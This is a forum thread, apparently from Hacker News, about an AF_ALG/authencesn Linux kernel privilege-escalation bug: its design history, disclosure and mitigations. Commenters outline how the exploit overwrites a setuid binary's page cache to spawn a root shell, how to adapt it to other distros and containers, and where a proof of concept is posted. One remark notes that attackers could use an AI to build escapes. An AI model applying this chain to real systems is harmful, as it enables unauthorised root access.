As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel's cryptography code is just for in-kernel users (for example, dm-crypt).
The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.
If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.
I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.
> * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.
> * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.
I can't judge whether this is a good justification, but there is one.
AF_ALG if I remember correctly predates userspace-accessible crypto acceleration and was way more important back when it meant you had actual need for "SSL accelerator" cards in servers, among other things
Yes, I remember that time, it was back when I wasn't allowed to know anything about what servers were doing other than to look it up in the internal leak, which was never maintained
Hi, embedded firmware engineer here. I give it a B-
There's a weird area between the workloads that fit on a microcontroller, and the stuff that demands a full-blown CPU. Think softcore processors on FPGAs, super tiny MIPS and RISC-V cores on an ASIC, etc. Typically you run something like Yocto on a core like that. Maybe MontaVista or QNX if you've got the right nerd running the show.
So you have serious compute needs, and security concerns that justify virtual memory. But you don't have infinite space to work with, so hardware acceleration is important. Having a standard API built into the kernel seems like a decent idea I guess.
And yet, I've never heard of AF_ALG. I've never seen it used. The thing is, if you have some bizzaro softcore, there's a good chance you also have a bizzaro crypto engine with no upstream kernel driver. If you're going to the trouble of rolling your own kernel with drivers for special crypto engines, why would you bother hooking it into this thing? Roll your own API that fits your needs and doesn't have a gigantic attack surface.
I feel like it should be possible to fulfill these advantages with a minimal, not very complex API. I.e. the grandparent's comment about IPsec implementation details doesn't make the cut, but a hardware accelerated cipher implementation does.
A hardware accelerated DMA-capable cipher implementation is an odd thing, and it’s generally not useful on its own. You might want to set up a whole chain of operations (encrypt, checksum, send to network, for example), but I’ve never encountered a case where you actually want to ask an accelerator to asynchronously encrypt application data and return the encrypted data to the application.
Unless you're pushing a ton of extra work into a network-capable accelerator, that sounds exactly like what you'd want for, e.g., an encrypted S3 implementation. You have encryption, RS encoding, striped checksumming, sending fragments to multiple hosts, some sort of potentially interesting partial failure handling, etc.
You could push that all down to the accelerator, but if there are even a few such use cases you might want a dedicated DMA-capable implementation instead.
When you can’t know the objective truth or when there isn’t one (as is the case in making decisions about security tradeoffs in software design), knowing the source of the argument is vital to interpreting its validity.
If iwd, or cryptsetup with certain non-default algorithms, isn't being used on the system, you should be fine. Not many programs use AF_ALG. It's possible there are others I'm not aware of, but it's quite rare.
To be clear, general-purpose Linux distros generally can't disable these kconfig options yet, due to these cases. But there are many Linux systems that simply don't need this functionality.
A good project for someone to work on would be to fix iwd and cryptsetup to always use userspace crypto, as they should.
I can’t comment on the ramifications, except to note that elsewhere in the thread this appears to not break anything (whether it makes userspace crypto a little less safe is academic, but that doesn’t matter if we have an easy local root shell), but I can verify the above fix does protect Ubuntu 24.04 from the exploit.
The point of noting whether it is loaded on their machine or not, is presumably to indicate that it is not normally loaded (for them), so disabling it to block the exploit should have no impact (for them).
As I understands any program code can use that socket to write to page cache memory and modify any main program. Even php code can be written for that. So it is serious problem if there is other security hole on web server.
For anyone wondering: AF_ALG is a Linux socket interface that exposes the kernel’s crypto API via file descriptors, using normal read(2)/write(2) calls for hashing and encryption.
It's already a configurable option in the kernel which can be fully disabled by distros if they wanted to provide their own compatibility layer, or just not ship any software that has a hard dependency on it.
That can be done in userspace too -- different userspace processes have different address spaces too.
The fact that the first link recommends using keyctl() for RSA private keys is also "interesting", given that the kernel's implementation of RSA isn't hardened against timing attacks (but userspace implementations of RSA typically are).
The CloudFlare blog discusses that idea when they talk about having an "agent process" to hold cryptographic material, but they list drawbacks like having to develop two processes, implement a well-defined interface, and enforce ACLs. I'm not convinced that "developing two processes" is a reason not to do it, since the kernel is effectively just the second process now, but everything else makes sense.
It's unfortunate though since this is one thing I think Windows does decently well. The Windows crypto and TLS APIs do use a key isolation process by default (LSASS) and have a stable interface for other processes to use it [0]. I imagine systemd could implement something similar, but I also know that there are very strong opinions about adding more surface area to systemd.
can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
As Eric has correctly stated above, we believe iwd (Intel Wireless Daemon), or rather the ell library it relies on (Embedded Linux Library) is the only relatively widespread user space application relying on it.
Isn't the better argument to ask whether there'd be benefit if all those things did?
A lack of adoption isn't apriori a good argument against an interface, and serious bugs can happen anywhere.
My personal opinion for a while has been that crypto operations should be in the kernel so we can end the madness that is every application shipping it's own crypto and trust system which has only gotten worse since containers were invented.
> My personal opinion for a while has been that crypto operations should be in the kernel so we can end the madness that is every application shipping it's own crypto and trust system which has only gotten worse since containers were invented.
There’s a valid argument here but I think that’d devolve into the DNSSec trap without both a very well-designed API and a stable way to ship updates for older kernels. If people can’t get good user experience or have to force kernel upgrades to improve security, most applications will avoid it. Things like Chrome shipping their own crypto mean that they can very quickly ship things like PQC without waiting years or having to deal with issues like kernel n+1 having unrelated driver or performance issues which force things into a security vs. functionality fight.
Which does sort of loop around to the issue of Linux not having a stable ABI as a feature I suppose which would be one way to implement it with long term compatibility on kernel modules.
But the Chrome example also highlights the problem: Chrome might ship it, but vanishingly little software is ever going to upgrade and we've got an explosion of statically linked languages now.
If Linux does that, I really hope it can be done in a standardized way that doesn't make porting to *BSD more difficult than it already might be. Standards are a good thing.
> A lack of adoption isn't apriori a good argument against an interface
I mean it kind of is (perhaps not a priori, but why is that relavent?). If something is not being used, its not meeting needs, so its just increasing attack surfaces without benefit.
The primary benefit of AF_ALG is IMHO when it's combined with kernel keyrings, i.e. ALG_SET_KEY_BY_KEY_SERIAL.
To steal from the sibling post:
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]
It's even more than this: you can do crypto ops in user space without ever even having the key to begin with.
[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]
[Ed.#2: that said^2, I'm putting this one on authencesn, not AF_ALG. It's the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, "network packet on PCIe memory" or something like that - I'm speculating, though.]
It doesn't seem to actually get used that way in practice. ALG_SET_KEY_BY_KEY_SERIAL didn't even appear until just a few years ago. And either way, if the interface allows you to overwrite the su binary, whether it theoretically could provide some other security benefit becomes kind of irrelevant.
And, sure, if it breaks system security it's pointless. But so did "dirty pipe".
I do agree the number of issues in AF_ALG is annoying, which is why I suggested a CAP_* restriction. Maybe CAP_SYS_ADMIN in init_ns, that's kinda the big hammer.
Most of the Linux kernel crypto is not touching the TPM. If there is a TPM task, only that code should be in kernel, and it should be accessed from user space by a process with the appropriate token.
Yes, AF_ALG is exposing too many things, like authencesn, which has zero reason for being userspace accessible. It's a crypto mode specific to IPsec.
However,
> it should be accessed from user space by a process with the appropriate token.
That is AF_ALG. The operations it offers are what you need for full coverage. The issues with it are two:
- usage specific crypto in the kernel implements the same interfaces, and it doesn't have a filter for that, as mentioned above. It's not offering too many operations, it's offering too many algorithms.
- it's trying to be fast. I guess people also want to use crypto accelerators through it. (Which is kinda related to TPMs, there is accelerator hardware with built-in protected key storage...)
The CVE we're looking at here is in the intersection of both of these.
All the uses of vmsplice etc are a bit tricky, and that points to the need for a better interface. But given you're using splice, why not do the crypto in user space? A belief that it is better to be fast and buggy than safe and slower?
Still a risk that some admin-enabled method (like enabling an IPsec VPN) provides a path to it, but would reduce the potential for crafting weird inputs.
That's really orthogonal (and you can already do io_uring with AF_ALG, at the end of the day AF_ALG is just recvmsg() and sendmsg(), which work just fine in io_uring...)
> syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to syzkaller@googlegroups.com.
YAGNI stocks are rising, Gentoo devs that compile their own kernel probably yeeted this module. Alpine, and MUSL deviants are probably immune to this downswing.
DRY looking very bearish, do repeat yourself, do build your own, do use userspace tools even if the kernel has its own version. Not as big a hit on the DRY philosophy as those pip and npm supply chain attacks last couple of weeks though.
I think the issue here is not "Don't Repeat Yourself", but "Don't Reinvent the Wheel". If your wheel is just a circle of wood, you're better off building it yourself than hiring a skilled (or sometimes not so skilled) laborer. Too much overhead and risk.
I love this. I think everyone in software should be feeling a tinge of “we should trim the fat” right now - get rid of as much of the old and infrequently used/tested code as we can. Push users towards the better tested alternatives.
The design philosophy of mainstream Linux distros is not like OpenBSD.
Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of "shovelware" that is unnecessarily installed with your base system. A lot of services are enabled that you don't need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes.
All this maximizing also increases the system's attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high.
With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it's up to the user to dig in, customize it, and add in features that are needed.
The good news is that you can do some after-market hardening. Uninstall software that you're not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose.
There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.
Thanks for the explanation. I am wondering if it is possible or does it make sense to have a modular linux that does not have these attack surfaces enabled by default. Alpine is my default solution for most Linux use cases (except when I need GPU support).
Not "by default", but still Gentoo. My USE= is several lines worth of -this -that -all-the-things. I got rid of wayland, pipewire, pulseaudio, avahi and a shitload of other stuff I don't need.
PulseAudio applications can still produce (but not record) audio through apulse and my handcrafted asoundrc
I think it would be reasonable to deprecate af_alg in favor of a character device. It's more accessible that way. The downside is that the maintainers hate adding new ioctls. I think that's fair. But I don't think a "regular" device node would cover the functionality userland expects.
That said, elsewhere ITT it's pointed out there are only a few use cases so far.
Many things, such as ksmbd seems ill-advised when looked at from security. New AI driven exploits
era will likely make projects more wary to adding functions.
Indeed, iwd is the main reason why general-purpose Linux distros can't disable AF_ALG yet. But many Linux systems are more specialized and don't have wireless connectivity, or they use another wireless daemon such as wpa_supplicant which doesn't have this issue.
I'm hoping we can get iwd fixed to use a userspace crypto library, as well. This is something that people could help with.
iwd also runs as root, so it would be okay with a CAP_SYS_ADMIN permission check if one were introduced, I think.
can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
It'd make a lot of sense to sandbox AF_ALG, then, wouldn't it? At least for userspace-driven invocations. Let the kernel keep its current code-path for kernel-driven invocations, but have the same code unit files also build some other sandboxed form, to be invoked by the crypto-accelerating syscalls.
If these syscalls are used by userspace as rarely as you say, the performance impact of this kind of sandboxing wouldn't matter much. And maybe there could be a KCONFIG/boot flag to switch back to using the un-sandboxed code path for userspace invocations too, for enterprises stuck with old software who really care.
---
My own thought process on how this could work below (but I'm not a kernel contributor, so you can probably immediately picture a design better than I can):
The naive way to do this, would be for the kernel build process to emit a separate AF_ALG userland IPC server as an additional build artifact; to get distros to package this IPC server as a component package of kernel packages; and to set up the sandboxed AF_ALG "kernel bridge" so that it proxies calls through to this IPC server if it exists, and errors out otherwise. (Basically like kfuse, except in this case the only "FUSE servers" are first-party.)
But that's a bit painful, organizationally. Puts a lot of work on the distro maintainers' shoulders, that they might just not bother doing. Prone to error. I think there are better alternatives.
1. Maybe the userland syscalls that rely on AF_ALG could instead ground out inside the kernel in a copy of AF_ALG that's been compiled to eBPF? Then that eBPF bytecode could just be embedded into the kernel.
2. Maybe the Linux kernel could consider a facility that would enable it to act as a hybrid microkernel (similar to macOS's XNU) — with arbitrary static sections of the kernel image/kernel modules [or perhaps standalone static ELF binaries embedded within kernel/kmod .data sections] being spawned not as supervisor-mode kthreads doing their own autonomous thing, but rather as unprivileged user-mode kernel threads, running as IPC-servers for the rest of the kernel to talk to?
- The rest of the kernel could talk to these "userspace kthreads" via some nonblocking IPC mechanism; but this mechanism wouldn't need to be exposed to userland the way macOS's XPC is; it could be kernel-to-kernel only (where these "userspace kthreads", despite being in userspace, are still fundamentally kernel threads, and so get to participate in it.)
- Also, these "userspace kthreads", when they're the active scheduled task, would have the kernel image's read-only sections [or their binary's sections, from within the kernel's .data section] mapped into their address space, since that's the binary they're executing against. But they wouldn't inherit [or the spawning mechanism would actively prune from their task struct] the rest of the kernel's mappings. So they'd have to either use the IPC mechanism, or use regular syscalls, to do anything with the kernel, just like any userspace task.)
I don't see those eBPF or microkernel ideas as being particularly realistic! But there are some simple ways AF_ALG's attack surface could be reduced (as an intermediate step to disabling it entirely), like requiring CAP_SYS_ADMIN and/or limiting the algorithms to a specific list.
It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros.
Seems like distros consider it a medium risk because it doesn't involve remote code execution and requires local access. Though it allows local root privilege escalation which is considered high priority.
> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
Strange that it's not classified as "high", which specifically includes "local root privilege escalations".
> High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
if your model is that linux is just about single-user desktops, this local exploit isn't too bad. or if your model is nothing but DB servers or the like.
mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1/10,000 of them are curious/malicious/compromised, we (Canadian national research HPC systems) are at risk. yes, this is somewhat uncommon these days, when shell access is not the norm.
but consider the very common sort of shared hosting environment: they typically provide something like plesk to interface to shared machines with no particular isolation. can you (as a website owner or 0wner) convince wordpress/etc to drop and execute a script? yep.
Only for your user, and it means a keylogger on the system if it gets rooted can't pull your password to try on other machines. Personally I always either login as root or use passwordless sudo.
Yubikeys are also surprisingly annoying when setup for the as well. A working developer just needs sudo a lot.
Realistically a "sudo button" would be handy, on the keyboard, with a display to show a confirmation pin for the request (probably also needs a deny button so you can try and identify weird ones).
The problem is not the passwordless sudo but running untrusted programs on your computer under your user. They don’t need sudo to steal your SSH keys or inject malicious code in your .bashrc.
Ubuntu is not really targeting multi-user any more. Security update installation is deliberately delayed for all users, until at some point all unprivileged users ended all processes launched from the vulnerable snap image. (Firefox RPC breaks when you replace the binary, so having to reopen your browser to keep opening tabs simple because security upgrades were applied in the background would be inconvenient)
It's security in depth. You build your server in a way that it doesn't allow remote code execution, and then you run it with an unprivileged user so that if it does allow it, the consequences are limited. And if running arbitrary code is a feature (you are github or whatever) you use VMs.
It was already known to attackers (or basically anyone watching) weeks ago when the patch hit the kernel but it wasn't communicated by upstream as a vuln (because Linus and Greg do not believe that vulnerabilities are conceptually relevant to the kernel).
The response from Greg was that Mythos proved that upstream was right all along and that they'll continue to do things the same way. That's my recollection, at least - pretty sure it was something like that, could have been even worse though and I'm misremembering.
The stance was never sustainable, hence linux LPEs being constantly available. The solution is to treat your kernel as impossible to secure. Notably, gvisor users are not impacted by this CVE. Seccomp also kills this CVE.
That's fine and a very separate reason why it would not be exploitable, also assuming that the module is not just compiled in since then loading it would be irrelevant.
As far as we can tell, nobody disclosed it to the distributions, only to the kernel security team (who did not reach out to distributions). So the distributions are all scrambling now.
The Linux project's view is that almost all kernel bugs are security vulnerabilities. They don't treat something like this as anything special.
I can understand that PoV, but it doesn't fit with distributions' approach to security. So, in practice, one has to reach out to distributions individually, or use distros lists on openwall.org to coordinate with all distros.
Yeah, it was also staged for release on the affected kernel branches a while ago, but almost all still had the window open and only tonight got the merged across all maintained kernel versions.
It's not good... and surely not "responsible/planned" disclosure.
If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'
That would suggest that CRYPTO_USER_API_AEAD=y in your kernel config. You can disable it in that case by setting that to "n", recompiling your kernel, and putting the new kernel in place.
It's unfortunate that this does not include which versions of the kernel are vulnerable/patched, especially since this is a builtin module which cannot be easily removed with rmmod...
...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237
...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
They did not, in fact, botch anything. They notified the responsible party and followed a practice that is pretty much the accepted norm (and for good reason).
How recursive should their notifications be? Just the tip three distros? The top dozen? Every embedded Linux router company? How about every hosting provider?
They did what they're supposed to without being paid for it. The only other good source of funding for security research besides marketing budgets for security companies will NOT result in a disclosure timeline you'd be happier with. ;-)
Definitely comes over as salty. Naming major flaws has been a tradition for decades. Remember Heartbleed? It had a site and a logo :) Shellshock, Meltdown, Spectre as well. A few more: https://github.com/hannob/vulns
This site though is pretty useful; first it serves as a central location to point people to with short links in chats/emails/whatever, then it has a quick visual explainer and a link to the detailed technical report for those who want more info. Pretty neat.
Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn't a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.
It used to be done for fame and visibility. Give a marketable name and a website, your exploit will be talked about and your name will shine in the industry.
Now it's done by an LLM to sell more LLMs services. Disclosure is botched to have the most sensational title so more click more upsell.
I'm being very cynical here but who says that their tool or LLM discovered this. How do we know they didn't hire some expert security researchers to find it or bought it off the black market as a promotion stunt.
With that being said, I wouldn't mind if they made more sales on whatever they're advertising IF they followed the disclosure process well. A bad disclose immediately tells me I can't trust them because their moment in the light was more important that the safety of millions of boxes.
LPE is a very well-known acronym within the security community, it's not purely academic or obscure or anything.
I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.
Then again, the whole writeup appears to be AI-generated, so...
Understanding a term with the help of context is very different from guessing what the letters of an acronym might mean. The latter is more like a crosswords puzzle, and a totally unneccessary task for the reader.
It is nowhere near this. There are very few acronyms in the IT world that are actually well-known outside of it. LPE is less well-known than LVAD or MCU.
To be fair, I just consulted 3 cybersecurity glossaries (SANS.org, NIST CSRC, Huntress), and none of them list "LPE" nor "Local Privilege Escalation".
If you type "LPE" into English Wikipedia's search bar, and press "Enter", you'll be sent to a disambiguation page which contains a link to the relevant article.
Sure, nobody’s saying it’s an inscrutable mystery but if your goal is to inform a wide audience it’s considered good form to expand all but the most common acronyms. It’ll even get you more internet points than petty smugness.
I'm sure lots of people have heard of CVEs, but have you actually read many? LPE is an extremely common term. It's like not knowing RCE. These are the terms used.
I'm as stunned as you are. I have to read CVEs on a weekly cadence (like contractually required to) and LPE/RCE are kind of the main keywords we look for in them. Also increasingly TOCTOU. If anyone who actually has to respond to CVEs told me they had never seen these terms before I would judge them as being unserious.
I'll raise my hand here and risk downvotes from very smart people who are smarter than me, but I've heard of CVE but not LPE or RCE. I know what the latter two terms are but am not used to seeing them in acronyms.
So what's missing is that keeping up-to-date with CVEs is important and some CVEs are Internet-nerd famous. Remember Heartbleed? Even some casual gamers I know had heard of it. And everyone who's mildly serious about sysadmin knows you want to defensively keep systems patched against important CVEs. The second layer of that, what the exploits actually are or do, is a second-layer term of art, one that one might miss the jargon for even if one has familiarity with the concepts.
To me, the fact that the page is obviously AI-assisted is way more upsetting than some guy not knowing what an acronym means. There's something about AI prose that is just so fucking tedious. It makes the mind glaze over.
To be clear, I'm not suggesting that you if have heard of CVEs therefor you must have heard of LPE. I'm saying if you have read many of them you would have seen these terms.
I obviously do not expect someone who has merely heard of various CVEs before to know anything about the contents of those CVEs. The other poster said they had "read many CVEs", which I took to mean they have read many CVE disclosures, where the term is extremely common. Perhaps they meant that they've read about CVEs, in which case I can see why the term would not be on their radar.
some people just don't have a good memory for acronyms. It's one thing to learn the concept of a privilege escalation, but an entirely different thing to play mental memory with TLAs (three letter acronyms). Acronyms remove all the context from a term which makes them way harder to memorize. A bit like knowing your friends vs knowing their phone numbers.
I think they've almost certainly seen it written out, just not as an acronym. I figured out what it stood for based on context and knowing the full phrase, but I don't recall actually seeing the LPE acronym in recent memory. Whereas with CVE it's the opposite: I almost never see it written out, and even now find it non-obvious what the E stands for, bizarrely enough.
Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.
The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I'll prioritize updating today.
This is pretty obviously an advertisement but it's a pretty good advertisement imo, it pairs a meaningful contribution to the OSS ecosystem (discovering and patching a real bug) with selling your cybersecurity tool at the same time.
The incentive previously was having more secure software making a name for yourself. The incentive now is finding the most noisy vulnerability so you can push FUD to sell your AI software.
These guys don't need to advertise, they are already 100% busy with work. But who wastes their time manually creating web pages? Especially kernel devs.
Side comment: I have recently used Claude Code to make a few sites for testing purposes. In the prompt I added "don't make it look vibe coded," and it worked pretty well: No purple gradients, bento box layouts, etc. Nothing spectacularly original, either, but probably enough to avoid accusations of vibe coding.
People are confusing the presentation layer with the content, just a surface layer analysis. Basically people are feeling so burnt by reading AI fluff that they make a rushed judgement.
Writing something by hand requires effort and signals seriousness. It's not unreasonable to take things less seriously when they come wrapped in low-effort packaging.
It's not the effort or the lack thereof here that's the issue, but rather the message you're sending by using slop tools to create the design of the advertisement of your research. It looks cheap.
I'm sure that, at first glance, many more people would take this much more seriously had the authors gone with a style-less HTML page or something, and that'd require _less_ effort, not more.
I have heard this logic before, defending over-engineering the looks to hide a brittle backed. Both sides look very entrenched on their position, I lean more towards having a solid backend and see the polished frontend as a waste of effort, but I understand your logic of seeing it as professionalism. My point is that you are not sending only one message by using a cheap slop static html: some will see lazy and cheap people, some will see people focusing on the real thing with no time or willingness to make shiny sites.
2. Current chain can write any arbitrary content to any user-readable file (into the page cache).
3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.
4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).
5. The authors say they have other chains (including ones that allow container escapes). I believe them.
6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process' binary:
So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container (or specifically, a user namespace).
I ran the exploit in rootless Podman, and predictably it doesn't escape the container.
They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
>The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container
they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.
"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."
> They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
They've done themselves no favours at all with their write up.
It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.
For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.
Have you got any info about this. 'seinfo -c' shows there is an alg_socket class. I presume this permission is required to be able to create an AF_ALG socket:
If you can get to real UID 0 from a rootless container, you can escape it, but you do need to take extra steps. Same with it working on Alpine: the underlying vulnerability probably still exists, but the script might need some adjusting. It's a PoC, not a full exploit for every situation.
It's worth pointing out that you cannot, definitionally, get "real UID 0" in a "rootless" container, because then it wouldn't be a rootless container. This is relevant because this exploit doesn't claim to be able to bypass user namespaces, and that getting "real UID 0" would be a different exploit.
The underlying exploit allows writing arbitrary values to the page cache, independent of any namespacing, so it should be assumed to allow container escapes even if the given PoC code doesn't do that.
That's fair (although it doesn't have anything to do with getting "real root" in a userns in that case). I guess one approach would be something like modifying the host's logrotate binary and waiting for it to trigger, or something like that. Would escape the container to root on the host directly. I imagine it wouldn't be a sure thing to pull off, either, but definitely straightforward enough that any APT should be asking Claude to develop it.
Kubernetes 1.33 switches to user namespaces enabled by default, which I imagine is the same underlying mechanism that rootless Podman uses. `hostUsers: false` is the way to ensure that root in the pod is root on the host. It's trivial for a real (unmapped) root to escape a Kubernetes pod.
Yes. Alpine in rootless Podman doesn't work (after replacing "/usr/bin/su" with "/bin/su" in the .py, running the .py just doesn't do anything) while it does in Debian in rootless Podman on the same host.
It also doesn't work on Raspberry Pi, though presumably it could easily be made to; it does replace the su binary, but the replacement is not executable.
It's patching the binary in memory, so the binary patch would be architecture dependent. The existing one is only x86_64, but with an updated payload, it would work on arm.
I wasn't able to unload algif_aead on RHEL 9/10 because it's built in, rather than a module.
So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.
How about blacklisting algif_aead initialization function on RHEL 9/10? I added "initcall_blacklist=algif_aead_init" to the kernel boot options and rebooted. The exploit is not working anymore.
I was coming up with the same intuition. However, it's like a whack-a-mole. What about cronjobs and slurmjobs and other services? Is there a way to do this directly on systemd so that all other processes inherit it rather than doing it on each one?
FYI RHEL's SELinux policy blocks AF_ALG socket creation for confined services out of the box. But disabling via RestrictAddressFamilies= unit option, or initcall_blacklist= kernel parameter, seems to be a good mitigation for unconfined services, users and containers.
For mitigation, the page currently basically just says:
> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
I was running in Gentoo "6.18.18" (amd64) and the exploit worked (and all other shells which I PREVIOUSLY opened could then just execute "su -" without password to become "root") -> doing temporarily a "modprobe -r algif_aead" on-the-fly did not fix it as I was still able to swap to "root" from the unprivileged user by executing just "su -".
"6.18.25" fixed it (module "algif_aead" still running).
- Maybe older Kernel versions that don't contain the fix should be blacklisted?
- FYI in Gentoo I had to recompile "sys-fs/zfs-kmod" after the minor kernel upgrade (I initially skipped it, but after rebooting with the new kernel I could not mount my raidz1) -> the same might be needed for other external modules.
Yeah in theory genkernel should handle zfs but since I’m zfs_on_root because I like living dangerously I have a one liner that genkernels and then re-emerges zfs and then rebuilds the initramfs.
distros might also apply patches to their own packages, so this isn't a perfect signal (i.e. if you have one of those versions, you almost certainly have the fix, but if you don't, it might still be fixed but you'll need to check the distro's package information to know for sure).
No, it was fixed initially in 7.0, and the patch then applied to the 6.18 and 6.19 branches, fixing the existing bug in versions 6.18.22 and 6.19.12. The bug exists in 6.19.0 to 6.19.11, but not as a regression - those were all released before the bug was fixed.
It's possible that the WSL kernel has that code compiled-in rather than as a loadable module. If they ship the kernel config somewhere, you could verify with
Using bpftrace to watch calls to module_request, openat, etc., it looks like when the kernel calls modprobe, it doesn't even look at the disable-algif.conf file:
Restart WSL2, run the bpftrace, and try `sudo modprobe algif-aead`, and that shows it looking at (or I guess opening) other files in /etc/modprobe.d, including the new one.
This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
That said, I understand why a terser script might have been prioritized.
EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.
> This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.
Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice
That is why we should get rid of setuid binaries. GrapheneOS does not use them and was therefore not affected. On the desktop there is also a project called Secureblue based on Fedora Atomic that is moving in a similar direction and has already eliminated a large number though not all setuid binaries. As an alternative to sudo, su, and pkexec there is for example run0, which is available in distributions using systemd. Since systemd 259 there is now also the --empower parameter which like sudo elevates the privileges of the regular user. Essentially any distribution could start removing sudo and create an alias so that users don’t have to adjust immediately.
No, it is not affected by the exploit as presented. This is a page cache write, so writing to a binary that root will run later can work too. This isn’t a reason to push an agenda that dislikes setuid binaries.
